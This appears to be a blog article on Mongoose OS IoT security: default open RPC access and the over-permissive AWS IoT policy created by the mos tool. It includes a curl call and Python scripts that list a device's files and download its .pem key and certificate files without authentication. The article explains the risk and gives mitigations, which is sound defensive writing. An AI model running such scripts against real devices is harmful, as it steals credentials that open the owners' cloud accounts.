Security in IoT – Insecure physical layer cause insecure application layer
This article tries to clarify and describe how insecure physical layer can cause insecurity in other layers and consequently causing different security issues. I will go through that by describing a very simple example using Mongoose OS. I try to describe the security aspects that we should consider whenever we use Mongoose OS and are as follow:
- Securing the RPC of Mongoose OS
- Define correct privacy for an IoT device in AWS IoT
In this post, I consider that you are familiar with the basics of Mongoose OS and you already worked with that. More information about Mongoose OS can be found [here]. Also, I consider you use mos tool for flashing the board along with proper AWS IoT credentials for defining the device on AWS IoT. If you want more information and examples, write that in the comment section.
Security considerations for RPC
RPC (Remote Procedure Call) provides a way to send command and receive the response from OS, i.e. basically, it is possible to execute a procedure/method without explicitly coding the details for the remote interaction. Mongoose OS uses JSON-RPC 2.0 [1], Since the RPC mechanism uses JSON-RPC, that means that the ”procedure”, or an ”RPC service” that device implements, is a function written in C/C++ or JavaScript which accept JSON containing name of method, parameters, and id. The result will be sent in JSON contains result, error code and requested id. Mongoose OS libraries implement a large set of ready-to-go RPC services, like managing hardware peripherals (GPIO, SPI, I2C), managing files, remote updates, etc and it is easy to add custom RPC service too. The majority of mos tool commands are basically RPC calls. The JSON-RPC messages could be carried out by many different channels such as Bluetooth, WebSocket, HTTP/Restful, serial (UART) which mos tool use that by default to call RPC and MQTT. Using secure MQTT for communication with the cloud makes it possible to use RPC in a very secure way because RPC security is determined by the security of its transport. For example, RPC over AWS IoT service uses secure, authenticated AWS IoT mechanism, utilizing mutual TLS and elaborate policy infrastructure. Thus, encryption, authentication, and authorization of the RPC channel are provided by AWS[1].
Security in Mongoose OS RPC when the device flashed, all RPCs are allowed for everybody by default. Therefore, it can cause security issues, if the programmer does not enable authentication and authorization. Basically, Mongoose OS offers four different solutions namely enabling authentication, enabling authorization by using ACL file, disabling RPC for the given channel or disabling all RPC functionality. Authentication in RPC uses Digest mechanism, the same as HTTP Digest authentication employs which means that the client sends a request and if authentication is not enabled and client request has authentication data, server replies, otherwise it sends back an error requesting authentication with a random nonce to prevent replay attacks and in last step client repeats the request with the authentication data created with the server’s nonce. Also, Mongoose OS uses the mbedTLS library from ARM for enabling a secure connection with the server. Also, it is recommended to make a device to work as a server. If not, then it would be easy to DoS the device by creating many network connections. For a microcontroller with limited RAM, it will need a small amount of connection for DoS attack. What’s more, a device must implement authentication and authorization mechanisms that are potentially vulnerable and if TLS is used for communication, the connection setup time could be large because of the slow CPU, leading to delays and bad user experience[1]. Usually, companies and developers want to create the prototype of their product very fast in order to save time and go to the market rapidly, they may forget to secure their device. Therefore, these devices can be vulnerable and hackers can easily access them. In the following section, using and possible integration of Mongoose OS RPC in malware will be discussed.
Example of Accessing Files
As mentioned before, it is possible to send JSON-RPC messages in different channels, here I will consider that the IoT device has insecure HTTP/Restful API. Therefore, calling Mongoose OS RPC methods can be done through sending HTTP request or WebSocket. These are feasible in different ways like using the curl library, implementing HTTP Request or WebSocket, etc using different programming languages. The other way would be compiling mos tool for a specific device and seems to be an inefficient way. Mongoose OS RPC has some default Remote Procedure Calls for each of supported board and they can be Wifi, System, OTA, I2C, GPIO, Device, File system and RPC, for instance FS (File System) methods give access to files on board and we can get the list of files by calling its function using cURL:
curl −d ’ {”id”:1,”method”:”FS.List”}’[IP Of Device]/rpc
It should be considered that both devices should be in the same network. The same method can be called using python as follow:
import requests
url = ’http://192.168.0.105/rpc’
data = ’{”id”:1,”method”:”FS.List”}’
response = requests.post(url,data=data)
print response.text
It is also possible to download files from microcontrollers, for instance, following python script will download all JSON files in the device by querying the list of all files using ‘FS.List‘ and downloading a specific file by calling ‘FS.Get‘. The result is file stream of the specified file which is basically Base64 and it should be decoded in order to see the content.
import base64
import json
import requests
url = 'http://192.168.0.105/rpc'
data = '{ "id": 1932, "method": "FS.List" }'
def callRPC(call):
response = requests.post(url, data=call)
data1 = json.loads(response.text)
return data1
callResult = callRPC(data)
for element in callResult["result"]:
if element.find(".pem") != -1:
data = '{ "id": 1932, "method": "FS.Get", "params":{"filename":"'+element+'"} }'
callResult1 = callRPC(data)
fileStream64decode = base64.decodestring(callResult1["result"]["data"])
fileResult = open(element, 'wb')
fileResult.write(fileStream64decode)
IoT device and the attacker’s computer should be in the same network and the IP of the IoT device should be known or can be found. Features such as RPC are using for remote access to the device and provides important functionalities such as OTA (Over The Air update), etc., therefore, insecure RPC could be a sort of vulnerability for resource-constrained devices which can cause data and identity-loss through HTTP requests, WebSockets or running scripts on Plugbot provided by a security research project of RedTeam Security company. It is also possible to access private/public key and server information and in order to steal information or distribute the private/public key and increase the number of connections per second in order to generate alarms for the provider or any other limitations. These limitations for AWS IoT can be found [here].
Security considerations for default privacy generated by mos tool
In order to connect the device to the AWS IoT, we just need to run ‘mos aws-iot-setup –aws-region eu-central-1 –aws-iot-policy mos-default’. It makes life easier, I like it. What it does is:
- defining the device in AWS IoT
- generating a certificate for it
- generating privacy
- put the certificates on the device
- configuring the configuration file for the device
The problem here is that the defined privacy can cause security issues. The default privacy is:
{
"Statement": [
{
"Effect": "Allow",
"Action": "iot:*",
"Resource": "*"
}
],
"Version": "2012-10-17"
}
It allows the device to access other resources of the AWS and also it allows to do anything in AWS IoT. Therefore, it can cause security issues in the application layer, if a hacker could get the private/public key from the device, it can access to not only to AWS IoT but also other resources/services in an account. To prevent that, it would be better to limit the actions according to the requirements, for instance, limit the device to only publish by adding “iot:Publish” and specify the resource. To summarize, insecurity in the physical layer can cause insecurity in the application layer.